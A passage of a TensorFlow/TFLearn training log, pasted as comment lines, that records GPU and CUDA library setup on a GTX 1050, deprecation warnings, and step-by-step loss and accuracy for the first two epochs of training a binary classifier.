2020-05-19 23:55:41.157402: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1618] Found device 0 with properties: \n# name: GeForce GTX 1050 major: 6 minor: 1 memoryClockRate(GHz): 1.493\n# pciBusID: 0000:01:00.0\n# 2020-05-19 23:55:41.157561: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcudart.so.10.0\n# 2020-05-19 23:55:41.158488: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcublas.so.10.0\n# 2020-05-19 23:55:41.159344: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcufft.so.10.0\n# 2020-05-19 23:55:41.159541: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcurand.so.10.0\n# 2020-05-19 23:55:41.160644: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcusolver.so.10.0\n# 2020-05-19 23:55:41.161475: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcusparse.so.10.0\n# 2020-05-19 23:55:41.164125: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcudnn.so.7\n# 2020-05-19 23:55:41.164229: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.164476: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.164659: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1746] Adding visible gpu devices: 0\n# 2020-05-19 23:55:41.164905: I tensorflow/core/platform/cpu_feature_guard.cc:142] Your CPU supports instructions that this TensorFlow binary was not compiled to use: AVX2 FMA\n# 2020-05-19 23:55:41.191464: I tensorflow/core/platform/profile_utils/cpu_utils.cc:94] CPU Frequency: 2496000000 Hz\n# 2020-05-19 23:55:41.191722: I tensorflow/compiler/xla/service/service.cc:168] XLA service 0x4364090 initialized for platform Host (this does not guarantee that XLA will be used). Devices:\n# 2020-05-19 23:55:41.191743: I tensorflow/compiler/xla/service/service.cc:176]   StreamExecutor device (0): Host, Default Version\n# 2020-05-19 23:55:41.237272: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.237579: I tensorflow/compiler/xla/service/service.cc:168] XLA service 0x4c05c20 initialized for platform CUDA (this does not guarantee that XLA will be used). Devices:\n# 2020-05-19 23:55:41.237593: I tensorflow/compiler/xla/service/service.cc:176]   StreamExecutor device (0): GeForce GTX 1050, Compute Capability 6.1\n# 2020-05-19 23:55:41.237746: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.237969: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1618] Found device 0 with properties: \n# name: GeForce GTX 1050 major: 6 minor: 1 memoryClockRate(GHz): 1.493\n# pciBusID: 0000:01:00.0\n# 2020-05-19 23:55:41.238000: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcudart.so.10.0\n# 2020-05-19 23:55:41.238010: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcublas.so.10.0\n# 2020-05-19 23:55:41.238020: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcufft.so.10.0\n# 2020-05-19 23:55:41.238029: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcurand.so.10.0\n# 2020-05-19 23:55:41.238038: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcusolver.so.10.0\n# 2020-05-19 23:55:41.238046: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcusparse.so.10.0\n# 2020-05-19 23:55:41.238056: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcudnn.so.7\n# 2020-05-19 23:55:41.238089: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.238337: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.238524: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1746] Adding visible gpu devices: 0\n# 2020-05-19 23:55:41.238546: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcudart.so.10.0\n# 2020-05-19 23:55:41.239163: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1159] Device interconnect StreamExecutor with strength 1 edge matrix:\n# 2020-05-19 23:55:41.239175: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1165]      0 \n# 2020-05-19 23:55:41.239197: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1178] 0:   N \n# 2020-05-19 23:55:41.239285: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.239511: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:41.239731: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1304] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 1382 MB memory) -> physical GPU (device: 0, name: GeForce GTX 1050, pci bus id: 0000:01:00.0, compute capability: 6.1)\n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/summaries.py:46: The name tf.summary.scalar is deprecated. Please use tf.compat.v1.summary.scalar instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tensorflow_core/python/ops/math_grad.py:1424: where (from tensorflow.python.ops.array_ops) is deprecated and will be removed in a future version.\n# Instructions for updating:\n# Use tf.where in 2.0, which has the same broadcast rule as np.where\n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:134: The name tf.train.Saver is deprecated. Please use tf.compat.v1.train.Saver instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:164: The name tf.global_variables_initializer is deprecated. Please use tf.compat.v1.global_variables_initializer instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:165: The name tf.local_variables_initializer is deprecated. Please use tf.compat.v1.local_variables_initializer instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:166: The name tf.variables_initializer is deprecated. Please use tf.compat.v1.variables_initializer instead.\n# \n# WARNING:tensorflow:From /home/mijazz/pyProject/tfenv/lib/python3.6/site-packages/tflearn/helpers/trainer.py:167: The name tf.get_collection_ref is deprecated. Please use tf.compat.v1.get_collection_ref instead.\n# \n# 2020-05-19 23:55:42.061238: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:42.061440: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1618] Found device 0 with properties: \n# name: GeForce GTX 1050 major: 6 minor: 1 memoryClockRate(GHz): 1.493\n# pciBusID: 0000:01:00.0\n# 2020-05-19 23:55:42.061471: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcudart.so.10.0\n# 2020-05-19 23:55:42.061481: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcublas.so.10.0\n# 2020-05-19 23:55:42.061488: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcufft.so.10.0\n# 2020-05-19 23:55:42.061496: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcurand.so.10.0\n# 2020-05-19 23:55:42.061503: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcusolver.so.10.0\n# 2020-05-19 23:55:42.061511: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcusparse.so.10.0\n# 2020-05-19 23:55:42.061519: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcudnn.so.7\n# 2020-05-19 23:55:42.061558: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:42.061733: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:42.061875: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1746] Adding visible gpu devices: 0\n# 2020-05-19 23:55:42.061893: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1159] Device interconnect StreamExecutor with strength 1 edge matrix:\n# 2020-05-19 23:55:42.061898: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1165]      0 \n# 2020-05-19 23:55:42.061902: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1178] 0:   N \n# 2020-05-19 23:55:42.061953: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:42.062122: I tensorflow/stream_executor/cuda/cuda_gpu_executor.cc:983] successful NUMA node read from SysFS had negative value (-1), but there must be at least one NUMA node, so returning NUMA node zero\n# 2020-05-19 23:55:42.062271: I tensorflow/core/common_runtime/gpu/gpu_device.cc:1304] Created TensorFlow device (/job:localhost/replica:0/task:0/device:GPU:0 with 1382 MB memory) -> physical GPU (device: 0, name: GeForce GTX 1050, pci bus id: 0000:01:00.0, compute capability: 6.1)\n# ---------------------------------\n# Run id: X76X9U\n# Log directory: /tmp/tflearn_logs/\n# ---------------------------------\n# Training samples: 5512\n# Validation samples: 0\n# --\n# 2020-05-19 23:55:42.352195: I tensorflow/stream_executor/platform/default/dso_loader.cc:44] Successfully opened dynamic library libcublas.so.10.0\n# Training Step: 1  | time: 0.342s\n# | Adam | epoch: 001 | loss: 0.00000 - acc: 0.0000 -- iter: 0064/5512\n# Training Step: 2  | total loss: 0.62383 | time: 0.346s\n# | Adam | epoch: 001 | loss: 0.62383 - acc: 0.4500 -- iter: 0128/5512\n# Training Step: 3  | total loss: 0.68043 | time: 0.350s\n# | Adam | epoch: 001 | loss: 0.68043 - acc: 0.5293 -- iter: 0192/5512\n# Training Step: 4  | total loss: 0.69029 | time: 0.354s\n# | Adam | epoch: 001 | loss: 0.69029 - acc: 0.4604 -- iter: 0256/5512\n# Training Step: 5  | total loss: 0.69190 | time: 0.357s\n# | Adam | epoch: 001 | loss: 0.69190 - acc: 0.5419 -- iter: 0320/5512\n# Training Step: 6  | total loss: 0.69327 | time: 0.361s\n# | Adam | epoch: 001 | loss: 0.69327 - acc: 0.4547 -- iter: 0384/5512\n# Training Step: 7  | total loss: 0.69280 | time: 0.364s\n# | Adam | epoch: 001 | loss: 0.69280 - acc: 0.5288 -- iter: 0448/5512\n# Training Step: 8  | total loss: 0.69308 | time: 0.367s\n# | Adam | epoch: 001 | loss: 0.69308 - acc: 0.5038 -- iter: 0512/5512\n# Training Step: 9  | total loss: 0.69279 | time: 0.371s\n# | Adam | epoch: 001 | loss: 0.69279 - acc: 0.5349 -- iter: 0576/5512\n# Training Step: 10  | total loss: 0.69296 | time: 0.374s\n# | Adam | epoch: 001 | loss: 0.69296 - acc: 0.5174 -- iter: 0640/5512\n# Training Step: 11  | total loss: 0.69387 | time: 0.380s\n# | Adam | epoch: 001 | loss: 0.69387 - acc: 0.4426 -- iter: 0704/5512\n# Training Step: 12  | total loss: 0.69364 | time: 0.383s\n# | Adam | epoch: 001 | loss: 0.69364 - acc: 0.4614 -- iter: 0768/5512\n# Training Step: 13  | total loss: 0.69358 | time: 0.387s\n# | Adam | epoch: 001 | loss: 0.69358 - acc: 0.4645 -- iter: 0832/5512\n# Training Step: 14  | total loss: 0.69334 | time: 0.390s\n# | Adam | epoch: 001 | loss: 0.69334 - acc: 0.4854 -- iter: 0896/5512\n# Training Step: 15  | total loss: 0.69322 | time: 0.393s\n# | Adam | epoch: 001 | loss: 0.69322 - acc: 0.4972 -- iter: 0960/5512\n# Training Step: 16  | total loss: 0.69314 | time: 0.396s\n# | Adam | epoch: 001 | loss: 0.69314 - acc: 0.5041 -- iter: 1024/5512\n# Training Step: 17  | total loss: 0.69350 | time: 0.399s\n# | Adam | epoch: 001 | loss: 0.69350 - acc: 0.4577 -- iter: 1088/5512\n# Training Step: 18  | total loss: 0.69325 | time: 0.403s\n# | Adam | epoch: 001 | loss: 0.69325 - acc: 0.4885 -- iter: 1152/5512\n# Training Step: 19  | total loss: 0.69324 | time: 0.407s\n# | Adam | epoch: 001 | loss: 0.69324 - acc: 0.4871 -- iter: 1216/5512\n# Training Step: 20  | total loss: 0.69303 | time: 0.410s\n# | Adam | epoch: 001 | loss: 0.69303 - acc: 0.5214 -- iter: 1280/5512\n# Training Step: 21  | total loss: 0.69300 | time: 0.413s\n# | Adam | epoch: 001 | loss: 0.69300 - acc: 0.5245 -- iter: 1344/5512\n# Training Step: 22  | total loss: 0.69298 | time: 0.416s\n# | Adam | epoch: 001 | loss: 0.69298 - acc: 0.5218 -- iter: 1408/5512\n# Training Step: 23  | total loss: 0.69308 | time: 0.419s\n# | Adam | epoch: 001 | loss: 0.69308 - acc: 0.5064 -- iter: 1472/5512\n# Training Step: 24  | total loss: 0.69283 | time: 0.422s\n# | Adam | epoch: 001 | loss: 0.69283 - acc: 0.5398 -- iter: 1536/5512\n# Training Step: 25  | total loss: 0.69290 | time: 0.426s\n# | Adam | epoch: 001 | loss: 0.69290 - acc: 0.5247 -- iter: 1600/5512\n# Training Step: 26  | total loss: 0.69295 | time: 0.429s\n# | Adam | epoch: 001 | loss: 0.69295 - acc: 0.5181 -- iter: 1664/5512\n# Training Step: 27  | total loss: 0.69302 | time: 0.432s\n# | Adam | epoch: 001 | loss: 0.69302 - acc: 0.5054 -- iter: 1728/5512\n# Training Step: 28  | total loss: 0.69294 | time: 0.437s\n# | Adam | epoch: 001 | loss: 0.69294 - acc: 0.5041 -- iter: 1792/5512\n# Training Step: 29  | total loss: 0.69298 | time: 0.441s\n# | Adam | epoch: 001 | loss: 0.69298 - acc: 0.5031 -- iter: 1856/5512\n# Training Step: 30  | total loss: 0.69294 | time: 0.444s\n# | Adam | epoch: 001 | loss: 0.69294 - acc: 0.5061 -- iter: 1920/5512\n# Training Step: 31  | total loss: 0.69323 | time: 0.449s\n# | Adam | epoch: 001 | loss: 0.69323 - acc: 0.4758 -- iter: 1984/5512\n# Training Step: 32  | total loss: 0.69283 | time: 0.452s\n# | Adam | epoch: 001 | loss: 0.69283 - acc: 0.4953 -- iter: 2048/5512\n# Training Step: 33  | total loss: 0.69247 | time: 0.455s\n# | Adam | epoch: 001 | loss: 0.69247 - acc: 0.4963 -- iter: 2112/5512\n# Training Step: 34  | total loss: 0.69247 | time: 0.459s\n# | Adam | epoch: 001 | loss: 0.69247 - acc: 0.4971 -- iter: 2176/5512\n# Training Step: 35  | total loss: 0.69196 | time: 0.462s\n# | Adam | epoch: 001 | loss: 0.69196 - acc: 0.5075 -- iter: 2240/5512\n# Training Step: 36  | total loss: 0.69247 | time: 0.464s\n# | Adam | epoch: 001 | loss: 0.69247 - acc: 0.4772 -- iter: 2304/5512\n# Training Step: 37  | total loss: 0.69179 | time: 0.469s\n# | Adam | epoch: 001 | loss: 0.69179 - acc: 0.4818 -- iter: 2368/5512\n# Training Step: 38  | total loss: 0.69102 | time: 0.473s\n# | Adam | epoch: 001 | loss: 0.69102 - acc: 0.4915 -- iter: 2432/5512\n# Training Step: 39  | total loss: 0.69181 | time: 0.476s\n# | Adam | epoch: 001 | loss: 0.69181 - acc: 0.5140 -- iter: 2496/5512\n# Training Step: 40  | total loss: 0.69156 | time: 0.480s\n# | Adam | epoch: 001 | loss: 0.69156 - acc: 0.5378 -- iter: 2560/5512\n# Training Step: 41  | total loss: 0.69033 | time: 0.483s\n# | Adam | epoch: 001 | loss: 0.69033 - acc: 0.5394 -- iter: 2624/5512\n# Training Step: 42  | total loss: 0.68852 | time: 0.486s\n# | Adam | epoch: 001 | loss: 0.68852 - acc: 0.5548 -- iter: 2688/5512\n# Training Step: 43  | total loss: 0.68735 | time: 0.489s\n# | Adam | epoch: 001 | loss: 0.68735 - acc: 0.5700 -- iter: 2752/5512\n# Training Step: 44  | total loss: 0.68464 | time: 0.492s\n# | Adam | epoch: 001 | loss: 0.68464 - acc: 0.5714 -- iter: 2816/5512\n# Training Step: 45  | total loss: 0.67907 | time: 0.495s\n# | Adam | epoch: 001 | loss: 0.67907 - acc: 0.5938 -- iter: 2880/5512\n# Training Step: 46  | total loss: 0.67357 | time: 0.498s\n# | Adam | epoch: 001 | loss: 0.67357 - acc: 0.6042 -- iter: 2944/5512\n# Training Step: 47  | total loss: 0.67491 | time: 0.502s\n# | Adam | epoch: 001 | loss: 0.67491 - acc: 0.6127 -- iter: 3008/5512\n# Training Step: 48  | total loss: 0.67451 | time: 0.505s\n# | Adam | epoch: 001 | loss: 0.67451 - acc: 0.6247 -- iter: 3072/5512\n# Training Step: 49  | total loss: 0.67153 | time: 0.508s\n# | Adam | epoch: 001 | loss: 0.67153 - acc: 0.6174 -- iter: 3136/5512\n# Training Step: 50  | total loss: 0.67600 | time: 0.511s\n# | Adam | epoch: 001 | loss: 0.67600 - acc: 0.6088 -- iter: 3200/5512\n# Training Step: 51  | total loss: 0.69265 | time: 0.514s\n# | Adam | epoch: 001 | loss: 0.69265 - acc: 0.5875 -- iter: 3264/5512\n# Training Step: 52  | total loss: 0.69029 | time: 0.517s\n# | Adam | epoch: 001 | loss: 0.69029 - acc: 0.5908 -- iter: 3328/5512\n# Training Step: 53  | total loss: 0.68904 | time: 0.520s\n# | Adam | epoch: 001 | loss: 0.68904 - acc: 0.5889 -- iter: 3392/5512\n# Training Step: 54  | total loss: 0.68893 | time: 0.523s\n# | Adam | epoch: 001 | loss: 0.68893 - acc: 0.5896 -- iter: 3456/5512\n# Training Step: 55  | total loss: 0.68266 | time: 0.526s\n# | Adam | epoch: 001 | loss: 0.68266 - acc: 0.5947 -- iter: 3520/5512\n# Training Step: 56  | total loss: 0.68302 | time: 0.529s\n# | Adam | epoch: 001 | loss: 0.68302 - acc: 0.5857 -- iter: 3584/5512\n# Training Step: 57  | total loss: 0.68263 | time: 0.532s\n# | Adam | epoch: 001 | loss: 0.68263 - acc: 0.5869 -- iter: 3648/5512\n# Training Step: 58  | total loss: 0.68658 | time: 0.535s\n# | Adam | epoch: 001 | loss: 0.68658 - acc: 0.5750 -- iter: 3712/5512\n# Training Step: 59  | total loss: 0.68456 | time: 0.538s\n# | Adam | epoch: 001 | loss: 0.68456 - acc: 0.5838 -- iter: 3776/5512\n# Training Step: 60  | total loss: 0.68291 | time: 0.541s\n# | Adam | epoch: 001 | loss: 0.68291 - acc: 0.5831 -- iter: 3840/5512\n# Training Step: 61  | total loss: 0.67919 | time: 0.544s\n# | Adam | epoch: 001 | loss: 0.67919 - acc: 0.5885 -- iter: 3904/5512\n# Training Step: 62  | total loss: 0.67767 | time: 0.547s\n# | Adam | epoch: 001 | loss: 0.67767 - acc: 0.5993 -- iter: 3968/5512\n# Training Step: 63  | total loss: 0.67552 | time: 0.550s\n# | Adam | epoch: 001 | loss: 0.67552 - acc: 0.6065 -- iter: 4032/5512\n# Training Step: 64  | total loss: 0.67408 | time: 0.554s\n# | Adam | epoch: 001 | loss: 0.67408 - acc: 0.6127 -- iter: 4096/5512\n# Training Step: 65  | total loss: 0.67220 | time: 0.557s\n# | Adam | epoch: 001 | loss: 0.67220 - acc: 0.6181 -- iter: 4160/5512\n# Training Step: 66  | total loss: 0.67419 | time: 0.560s\n# | Adam | epoch: 001 | loss: 0.67419 - acc: 0.6075 -- iter: 4224/5512\n# Training Step: 67  | total loss: 0.67126 | time: 0.563s\n# | Adam | epoch: 001 | loss: 0.67126 - acc: 0.6171 -- iter: 4288/5512\n# Training Step: 68  | total loss: 0.66874 | time: 0.566s\n# | Adam | epoch: 001 | loss: 0.66874 - acc: 0.6199 -- iter: 4352/5512\n# Training Step: 69  | total loss: 0.67047 | time: 0.569s\n# | Adam | epoch: 001 | loss: 0.67047 - acc: 0.6095 -- iter: 4416/5512\n# Training Step: 70  | total loss: 0.66813 | time: 0.572s\n# | Adam | epoch: 001 | loss: 0.66813 - acc: 0.6131 -- iter: 4480/5512\n# Training Step: 71  | total loss: 0.66518 | time: 0.576s\n# | Adam | epoch: 001 | loss: 0.66518 - acc: 0.6198 -- iter: 4544/5512\n# Training Step: 72  | total loss: 0.66602 | time: 0.582s\n# | Adam | epoch: 001 | loss: 0.66602 - acc: 0.6222 -- iter: 4608/5512\n# Training Step: 73  | total loss: 0.66725 | time: 0.585s\n# | Adam | epoch: 001 | loss: 0.66725 - acc: 0.6173 -- iter: 4672/5512\n# Training Step: 74  | total loss: 0.66713 | time: 0.589s\n# | Adam | epoch: 001 | loss: 0.66713 - acc: 0.6130 -- iter: 4736/5512\n# Training Step: 75  | total loss: 0.66588 | time: 0.592s\n# | Adam | epoch: 001 | loss: 0.66588 - acc: 0.6126 -- iter: 4800/5512\n# Training Step: 76  | total loss: 0.66480 | time: 0.595s\n# | Adam | epoch: 001 | loss: 0.66480 - acc: 0.6122 -- iter: 4864/5512\n# Training Step: 77  | total loss: 0.66901 | time: 0.601s\n# | Adam | epoch: 001 | loss: 0.66901 - acc: 0.6053 -- iter: 4928/5512\n# Training Step: 78  | total loss: 0.66854 | time: 0.605s\n# | Adam | epoch: 001 | loss: 0.66854 - acc: 0.6106 -- iter: 4992/5512\n# Training Step: 79  | total loss: 0.66081 | time: 0.608s\n# | Adam | epoch: 001 | loss: 0.66081 - acc: 0.6186 -- iter: 5056/5512\n# Training Step: 80  | total loss: 0.65743 | time: 0.613s\n# | Adam | epoch: 001 | loss: 0.65743 - acc: 0.6193 -- iter: 5120/5512\n# Training Step: 81  | total loss: 0.65728 | time: 0.617s\n# | Adam | epoch: 001 | loss: 0.65728 - acc: 0.6198 -- iter: 5184/5512\n# Training Step: 82  | total loss: 0.66007 | time: 0.620s\n# | Adam | epoch: 001 | loss: 0.66007 - acc: 0.6203 -- iter: 5248/5512\n# Training Step: 83  | total loss: 0.66876 | time: 0.624s\n# | Adam | epoch: 001 | loss: 0.66876 - acc: 0.6083 -- iter: 5312/5512\n# Training Step: 84  | total loss: 0.66684 | time: 0.628s\n# | Adam | epoch: 001 | loss: 0.66684 - acc: 0.6115 -- iter: 5376/5512\n# Training Step: 85  | total loss: 0.67116 | time: 0.632s\n# | Adam | epoch: 001 | loss: 0.67116 - acc: 0.6020 -- iter: 5440/5512\n# Training Step: 86  | total loss: 0.66731 | time: 0.639s\n# | Adam | epoch: 001 | loss: 0.66731 - acc: 0.6058 -- iter: 5504/5512\n# Training Step: 87  | total loss: 0.66644 | time: 0.643s\n# | Adam | epoch: 001 | loss: 0.66644 - acc: 0.6062 -- iter: 5512/5512\n# --\n# Training Step: 88  | total loss: 0.65774 | time: 0.004s\n# | Adam | epoch: 002 | loss: 0.65774 - acc: 0.6331 -- iter: 0064/5512\n# Training Step: 89  | total loss: 0.64930 | time: 0.008s\n# | Adam | epoch: 002 | loss: 0.64930 - acc: 0.6573 -- iter: 0128/5512\n# Training Step: 90  | total loss: 0.65098 | time: 0.012s\n# | Adam | epoch: 002 | loss: 0.65098 - acc: 0.6525 -- iter: 0192/5512\n# Training Step: 91  | total loss: 0.65295 | time: 0.017s\n# | Adam | epoch: 002 | loss: 0.65295 - acc: 0.6419 -- iter: 0256/5512\n# Training Step: 92  | total loss: 0.65322 | time: 0.021s\n# | Adam | epoch: 002 | loss: 0.65322 - acc: 0.6433 -- iter: 0320/5512\n# Training Step: 93  | total loss: 0.65672 | time: 0.025s\n# | Adam | epoch: 002 | loss: 0.65672 - acc: 0.6384 -- iter: 0384/5512\n# Training Step: 94  | total loss: 0.66119 | time: 0.029s\n# | Adam | epoch: 002 | loss: 0.66119 - acc: 0.6292 -- iter: 0448/5512\n# Training Step: 95  | total loss: 0.65971 | time: 0.033s\n# | Adam | epoch: 002 | loss: 0.65971 - acc: 0.6272 -- iter: 0512/5512\n# Training Step: 96  | total loss: 0.66011 | time: 0.037s\n# | Adam | epoch: 002 | loss: 0.66011 - acc: 0.6223 -- iter: 0576/5512\n# Training Step: 97  | total loss: 0.66283 | time: 0.040s\n# | Adam | epoch: 002 | loss: 0.66283 - acc: 0.6195 -- iter: 0640/5512\n# Training Step: 98  | total loss: 0.65810 | time: 0.044s\n# | Adam | epoch: 002 | loss: 0.65810 - acc: 0.6247 -- iter: 0704/5512\n# Training Step: 99  | total loss: 0.65673 | time: 0.048s\n# | Adam | epoch: 002 | loss: 0.65673 - acc: 0.6232 -- iter: 0768/5512\n# Training Step: 100  | total loss: 0.65658 | time: 0.051s\n# | Adam | epoch: 002 | loss: 0.65658 - acc: 0.6202 -- iter: 0832/5512\n# Training Step: 101  | total loss: 0.65836 | time: 0.055s\n# | Adam | epoch: 002 | loss: 0.65836 - acc: 0.6145 -- iter: 0896/5512\n# Training Step: 102  | total loss: 0.65738 | time: 0.058s\n# | Adam | epoch: 002 | loss: 0.65738 - acc: 0.6155 -- iter: 0960/5512\n# Training Step: 103  | total loss: 0.65956 | time: 0.061s\n# | Adam | epoch: 002 | loss: 0.65956 - acc: 0.6118 -- iter: 1024/5512\n# Training Step: 104  | total loss: 0.65615 | time: 0.065s\n# | Adam | epoch: 002 | loss: 0.65615 - acc: 0.6147 -- iter: 1088/5512\n# Training Step: 105  | total loss: 0.65825 | time: 0.068s\n# | Adam | epoch: 002 | loss: 0.65825 - acc: 0.6079 -- iter: 1152/5512\n# Training Step: 106  | total loss: 0.65994 | time: 0.071s\n# | Adam | epoch: 002 | loss: 0.65994 - acc: 0.6033 -- iter: 1216/5512\n# Training Step: 107  | total loss: 0.66207 | time: 0.075s\n# | Adam | epoch: 002 | loss: 0.66207 - acc: 0.6024 -- iter: 1280/5512\n# Training Step: 108  | total loss: 0.65742 | time: 0.078s\n# | Adam | epoch: 002 | loss: 0.65742 - acc: 0.6109 -- iter: 1344/5512\n# Training Step: 109  | total loss: 0.66163 | time: 0.082s\n# | Adam | epoch: 002 | loss: 0.66163 - acc: 0.6061 -- iter: 1408/5512\n# Training Step: 110  | total loss: 0.65752 | time: 0.086s\n# | Adam | epoch: 002 | loss: 0.65752 - acc: 0.6126 -- iter: 1472/5512\n# Training Step: 111  | total loss: 0.65943 | time: 0.089s\n# | Adam | epoch: 002 | loss: 0.65943 - acc: 0.6108 -- iter: 1536/5512\n# Training Step: 112  | total loss: 0.66241 | time: 0.093s\n# | Adam | epoch: 002 | loss: 0.66241 - acc: 0.6059 -- iter: 1600/5512\n# Training Step: 113  | total loss: 0.66116 | time: 0.096s\n# | Adam | epoch: 002 | loss: 0.66116 - acc: 0.6078 -- iter: 1664/5512\n# Training Step: 114  | total loss: 0.65442 | time: 0.100s\n# | Adam | epoch: 002 | loss: 0.65442 - acc: 0.6252 -- iter: 1728/5512\n# Training Step: 115  | total loss: 0.65137 | time: 0.103s\n# | Adam | epoch: 002 | loss: 0.65137 - acc: 0.6298 -- iter: 1792/5512\n# Training Step: 116  | total loss: 0.65378 | time: 0.107s\n# | Adam | epoch: 002 | loss: 0.65378 - acc: 0.6231 -- iter: 1856/5512\n# Training Step: 117  | total loss: 0.65822 | time: 0.110s\n# | Adam | epoch: 002 | loss: 0.65822 - acc: 0.6170 -- iter: 1920/5512\n# Training Step: 118  | total loss: 0.66014 | time: 0.114s\n# | Adam | epoch: 002 | loss: 0.66014 - acc: 0.6132 -- iter: 1984/5512\n# Training Step: 119  | total loss: 0.66137 | time: 0.118s\n# | Adam | epoch: 002 | loss: 0.66137 - acc: 0.6097 -- iter: 2048/5512\n# Training Step: 120  | total loss: 0.66418 | time: 0.122s\n# | Adam | epoch: 002 | loss: 0.66418 - acc: 0.6065 -- iter: 2112/5512\n# Training Step: 121  | total loss: 0.66201 | time: 0.125s\n# | Adam | epoch: 002 | loss: 0.66201 - acc: 0.6099 -- iter: 2176/5512\n# Training Step: 122  | total loss: 0.65976 | time: 0.129s\n# | Adam | epoch: 002 | loss: 0.65976 - acc: 0.6145 -- iter: 2240/5512\n# Training Step: 123  | total loss: 0.65763 | time: 0.132s\n# | Adam | epoch: 002 | loss: 0.65763 - acc: 0.6172 -- iter: 2304/5512\n# Training Step: 124  | total loss: 0.65518 | time: 0.138s\n# | Adam | epoch: 002 | loss: 0.65518 - acc: 0.6164 -- iter: 2368/5512\n# Training Step: 125  | total loss: 0.65447 | time: 0.142s\n# | Adam | epoch: 002 | loss: 0.65447 - acc: 0.6188 -- iter: 2432/5512\n# Training Step: 126  | total loss: 0.65729 | time: 0.147s\n# | Adam | epoch: 002 | loss: 0.65729 - acc: 0.6147 -- iter: 2496/5512\n# Training Step: 127  | total loss: 0.65745 | time: 